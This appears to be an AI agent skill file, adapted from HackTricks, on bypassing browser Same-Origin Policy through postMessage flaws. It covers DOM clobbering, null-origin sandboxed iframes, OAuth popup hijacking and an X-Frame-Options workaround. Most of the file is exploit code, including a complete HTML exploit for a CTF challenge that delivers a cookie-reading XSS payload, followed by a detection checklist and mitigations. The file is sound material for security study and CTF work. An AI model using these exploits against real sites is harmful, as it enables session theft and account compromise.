Hacktricks-skills postmessage-sop-bypass
How to bypass Same-Origin Policy (SOP) using postMessage vulnerabilities, DOM clobbering, and null-origin iframe techniques. Use this skill whenever the user mentions postMessage, cross-origin communication, iframe attacks, SOP bypass, DOM clobbering, null-origin exploits, OAuth popup hijacking, or any scenario involving cross-window message handling. Trigger this skill for CTF challenges, security assessments, or when analyzing postMessage event handlers with weak source/origin validation.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2/SKILL.MDPostMessage SOP Bypass Techniques
This skill covers advanced techniques for bypassing Same-Origin Policy restrictions using
postMessage vulnerabilities, DOM clobbering, and null-origin iframe exploitation.
When to Use This Skill
Use this skill when:
- Analyzing
event handlers with weak validationpostMessage - CTF challenges involving cross-origin communication
- Security assessments of applications using
window.postMessage() - Encountering
orevent.source
checks that can be bypassedevent.origin - OAuth popup flows with iframe-based openers
- Applications using
sinks with postMessage datainnerHTML
Core Attack Primitives
1. DOM Clobbering to Nullify Window Properties
Goal: Make
window.calc.contentWindow evaluate to undefined by clobbering document.getElementById.
Technique:
<!-- Clobber document.getElementById --> <img name="getElementById" /> <div id="calc"></div>
Effect:
document.getElementById("calc") returns the <img> element instead of the <div>, and window.calc becomes undefined.
Why it works: The Sanitizer API is not configured to protect against DOM clobbering by default. Elements with
name attributes can clobber global properties.
2. Null-Origin via Iframe Removal
Goal: Make
event.source evaluate to null in the postMessage handler.
Technique:
let iframe = document.createElement("iframe"); document.body.appendChild(iframe); // Send message from iframe iframe.contentWindow.eval(` window.parent.target.postMessage("payload", "*"); `); // Immediately remove iframe - event.source becomes null document.body.removeChild(iframe);
Effect: When the iframe is removed before the message handler executes,
event.source is null.
Why it works: The
event.source reference points to the iframe's window. If the iframe is removed, the reference becomes null. Combined with loose equality (==), null == undefined evaluates to true.
3. Null-Origin via Sandboxed Iframes
Goal: Create a stable null-origin environment for triggering errors in
document.cookie access.
Technique:
const iframe = document.createElement('iframe'); iframe.sandbox = 'allow-scripts allow-popups'; // Note: NO allow-same-origin iframe.srcdoc = `<script> // This code runs in null origin const token = getCookie(); // Triggers error, returns undefined </script>`; document.body.appendChild(iframe);
Effect: Any access to
document.cookie in a null-origin page throws an error, making dependent variables undefined.
Why it works: Sandboxed iframes without
allow-same-origin have origin === "null". Accessing document.cookie from null origin is blocked by the browser.
4. OAuth Popup Hijacking (2025 Pattern)
Goal: Bypass origin checks in OAuth callback handlers.
Technique:
const frame = document.createElement('iframe'); frame.sandbox = 'allow-scripts allow-popups'; frame.srcdoc = ` <script> const pop = open('https://oauth.example/callback'); pop.postMessage({ cmd: 'getLoginCode' }, '*'); </script>`; document.body.appendChild(frame);
Effect: Both the iframe and the popup have
origin === "null", so handlers checking if (origin !== window.origin) fail silently.
Why it works: The popup inherits the null origin from its opener (the sandboxed iframe). Victim code comparing origins sees
"null" === "null" and accepts the message.
5. X-Frame-Options Bypass via window.open
Goal: Interact with pages that set
X-Frame-Options: DENY.
Technique:
const probe = document.createElement('iframe'); probe.sandbox = 'allow-scripts'; probe.onload = () => { const victim = open('https://target-app/'); setTimeout(() => { probe.contentWindow.postMessage(payload, '*'); probe.remove(); }, 500); }; document.body.appendChild(probe);
Effect: Can post messages to pages that would normally block iframe embedding.
Why it works:
window.open() creates a popup window, not an iframe. The iframe is only used as a message relay.
Complete Attack Pattern
Obligatory Calc CTF Solution
This demonstrates combining all primitives to bypass:
if (e.source == window.calc.contentWindow && e.data.token == window.token) { // Vulnerable sink document.getElementById('result').innerHTML = e.data.result; }
Full exploit:
<html> <body> <script> // Step 1: Clobber document.getElementById via URL parameter open( 'https://target/?expr="<form name=getElementById id=calc>"' ); function start() { var ifr = document.createElement("iframe"); // Step 2: Create sandboxed iframe with null origin ifr.sandbox = "allow-scripts allow-popups"; ifr.srcdoc = `<script>(${hack})()<\/script>`; document.body.appendChild(ifr); function hack() { var win = open("https://target/"); setTimeout(() => { parent.postMessage("remove", "*"); // Step 3: Send payload with token=null // e.source will be null (iframe removed) // window.token will be undefined (cookie access error) // null == undefined is true win.postMessage( { token: null, result: "<img src=x onerror='alert(document.cookie)'>", }, "*" ); }, 1000); } // Step 4: Remove iframe to nullify event.source onmessage = (e) => { if (e.data == "remove") document.body.innerHTML = ""; }; } setTimeout(start, 1000); </script> </body> </html>
Detection & Analysis Checklist
When analyzing postMessage handlers, check for:
- Loose equality checks:
instead of==
allows===null == undefined - Source validation: Does the code check
? Can it be nullified?event.source - Origin validation: Does the code check
? Can it be made null?event.origin - Cookie access in handlers: Does
or similar depend onwindow.token
?document.cookie - innerHTML sinks: Is postMessage data written to the DOM without sanitization?
- Iframe lifecycle: Are iframes removed after sending messages?
- Sandbox attributes: Do iframes use
withoutallow-scripts allow-popups
?allow-same-origin
Mitigation Recommendations
- Use strict equality:
instead of===
for all comparisons== - Validate origin explicitly: Check against a whitelist of allowed origins
- Never trust event.source: It can be nullified through iframe removal
- Sanitize all postMessage data: Treat it as untrusted input
- Use CSP: Content Security Policy can limit script execution
- Avoid DOM clobbering: Don't use
attributes that conflict with globalsname - Check for null origin:
if (event.origin === 'null') return;